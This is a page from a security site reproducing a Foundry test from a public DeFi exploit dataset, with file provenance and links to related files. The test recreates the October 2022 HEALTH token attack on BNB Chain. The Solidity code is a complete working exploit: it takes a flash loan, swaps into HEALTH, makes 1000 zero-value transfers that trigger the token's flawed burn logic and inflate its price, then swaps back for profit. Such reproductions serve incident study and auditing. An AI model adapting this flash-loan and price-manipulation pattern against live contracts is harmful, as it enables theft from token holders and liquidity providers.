Public reproduction file
src/test/2022-10/HEALTH_exp.sol
Public reproduction file for dataset entry HEALTH.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~16.64 BNB8// Attacker : 0xDE78112FF006f166E4ccfe1dfE4181C9619D3b5D9// Attack Contract : 0x80e5FC0d72e4814cb52C16A18c2F2B87eF1Ea2d410// Vulnerable Contract : 0x32B166e082993Af6598a89397E82e123ca44e74E11// Attack Tx : https://bscscan.com/tx/0xae8ca9dc8258ae32899fe641985739c3fa53ab1f603973ac74b424e165c66ccf13// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0x32B166e082993Af6598a89397E82e123ca44e74E#code#L79916// @Analysis17// Twitter BlockSecTeam : https://twitter.com/BlockSecTeam/status/158307344243349504019contract ContractTest is Test {20 IERC20 constant HEALTH_TOKEN = IERC20(0x32B166e082993Af6598a89397E82e123ca44e74E);21 IWBNB constant WBNB_TOKEN = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));22 Uni_Pair_V2 constant WBNB_HEALTH_PAIR = Uni_Pair_V2(0xF375709DbdE84D800642168c2e8bA751368e8D32);23 Uni_Router_V2 constant PS_ROUTER = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);24 address constant DODO_DVM = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;26 function setUp() public {27 vm.createSelectFork("bsc", 22_337_425);28 // Adding labels to improve stack traces' readability29 vm.label(address(WBNB_TOKEN), "WBNB");30 vm.label(address(HEALTH_TOKEN), "HEALTH");31 vm.label(address(WBNB_HEALTH_PAIR), "WBNB_HEALTH_PAIR");32 vm.label(address(PS_ROUTER), "PS_ROUTER");33 vm.label(DODO_DVM, "DODO_DVM");34 vm.label(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56, "BUSD");35 vm.label(0x64d868F307263f8566172fc42D75Ea03A5690271, "HEALTH_DEV_ADDRESS");36 }38 function testExploit() public {39 emit log_named_decimal_uint(40 "[Start] Attacker WBNB balance before exploit", WBNB_TOKEN.balanceOf(address(this)), 1841 );43 // Approving PancakeSwap router to spend attacker's WBNB and HEALTH44 WBNB_TOKEN.approve(address(PS_ROUTER), type(uint256).max);45 HEALTH_TOKEN.approve(address(PS_ROUTER), type(uint256).max);47 // Requesting 40 WBNB via flashloan from DODO DVM. Payload is in the callback (DPPFlashLoanCall).48 DVM(DODO_DVM).flashLoan(40 * 1e18, 0, address(this), new bytes(1));50 emit log_named_decimal_uint(51 "[End] Attacker WBNB balance after exploit", WBNB_TOKEN.balanceOf(address(this)), 1852 );53 }55 /*56 * Callback function called by DODO DVM during the flashloan57 */58 function DPPFlashLoanCall(59 address, /*sender*/60 uint256, /*baseAmount*/61 uint256, /*quoteAmount*/62 bytes calldata /*data*/63 ) external {64 // Swap all WBNB to HEALTH65 _WBNBToHEALTH();67 // Actual payload exploiting the vulnerability in `_transfer()` function68 // This will make the `_transfer()` function burn a lot of HEALTH tokens69 // from the pair, so increase its price in relation to WBNB70 for (uint256 i = 0; i < 1000; i++) {71 HEALTH_TOKEN.transfer(address(this), 0);72 }74 // Swap all HEALTH to WBNB to repay the flashloan and keep the profit75 _HEALTHToWBNB();77 // Returning only the 40 flashloaned WBNB78 WBNB_TOKEN.transfer(DODO_DVM, 40 * 1e18);79 }81 /**82 * Auxiliary function to swap all WBNB to HEALTH83 */84 function _WBNBToHEALTH() internal {85 address[] memory path = new address[](2);86 path[0] = address(WBNB_TOKEN);87 path[1] = address(HEALTH_TOKEN);88 PS_ROUTER.swapExactTokensForTokensSupportingFeeOnTransferTokens(89 WBNB_TOKEN.balanceOf(address(this)), 0, path, address(this), block.timestamp90 );91 }93 /**94 * Auxiliary function to swap all HEALTH to WBNB95 */96 function _HEALTHToWBNB() internal {97 address[] memory path = new address[](2);98 path[0] = address(HEALTH_TOKEN);99 path[1] = address(WBNB_TOKEN);100 PS_ROUTER.swapExactTokensForTokensSupportingFeeOnTransferTokens(101 HEALTH_TOKEN.balanceOf(address(this)), 0, path, address(this), block.timestamp102 );103 }104}Analysis
Dataset entry
Public Foundry test for “HEALTH” (2022-10-20). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-10/ATK_exp.solSame month in the dataset · 97 lines
- src/test/2022-10/BabySwap_exp.solSame month in the dataset · 134 lines
- src/test/2022-10/BEGO_exp.solSame month in the dataset · 70 lines
- src/test/2022-10/Carrot_exp.solSame month in the dataset · 149 lines
- src/test/2022-10/EFLeverVault_exp.solSame month in the dataset · 92 lines
- src/test/2022-10/HPAY_exp.solSame month in the dataset · 150 lines
- src/test/2022-10/INUKO_exp.solSame month in the dataset · 327 lines
- src/test/2022-10/Market_exp.solSame month in the dataset · 339 lines
- src/test/2022-10/MEVa47b_exp.solSame month in the dataset · 126 lines
- src/test/2022-10/MulticallWithoutCheck_exp.solSame month in the dataset · 46 lines
- src/test/2022-10/N00d_exp.solSame month in the dataset · 94 lines
- src/test/2022-10/OlympusDao_exp.solSame month in the dataset · 61 lines
- src/test/2022-10/PLTD_exp.solSame month in the dataset · 67 lines
- src/test/2022-10/RabbyWallet_SwapRouter_exp.solSame month in the dataset · 148 lines
- src/test/2022-10/RES_exp.solSame month in the dataset · 181 lines
- src/test/2022-10/RL_exp.solSame month in the dataset · 128 lines
- src/test/2022-10/TeamFinance_exp.solSame month in the dataset · 274 lines
- src/test/2022-10/Templedao_exp.solSame month in the dataset · 66 lines
- src/test/2022-10/TransitSwap_exp.solSame month in the dataset · 70 lines
- src/test/2022-10/Uerii_exp.solSame month in the dataset · 96 lines
- src/test/2022-10/ULME_exp.solSame month in the dataset · 258 lines
- src/test/2022-10/VTF_exp.solSame month in the dataset · 114 lines
- src/test/2022-10/XaveFinance_exp.solSame month in the dataset · 220 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xde78112ff006f166e4ccfe1dfe4181c9619d3b5d
- Attack Contract
0x80e5fc0d72e4814cb52c16a18c2f2b87ef1ea2d4
- Vulnerable Contract
0x32b166e082993af6598a89397e82e123ca44e74e
- Attack Tx
0xae8ca9dc8258ae32899fe641985739c3fa53ab1f603973ac74b424e165c66ccf
File record
- Name
- HEALTH
- Path
- src/test/2022-10/HEALTH_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- dccf7e985acbfa07baa56d26e059b30a2f324c14
- Language
- Solidity
- Size
- 105 lines
- Date
- 2022-10-20
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-10/HEALTH_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob dccf7e985acbfa07baa56d26e059b30a2f324c14, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.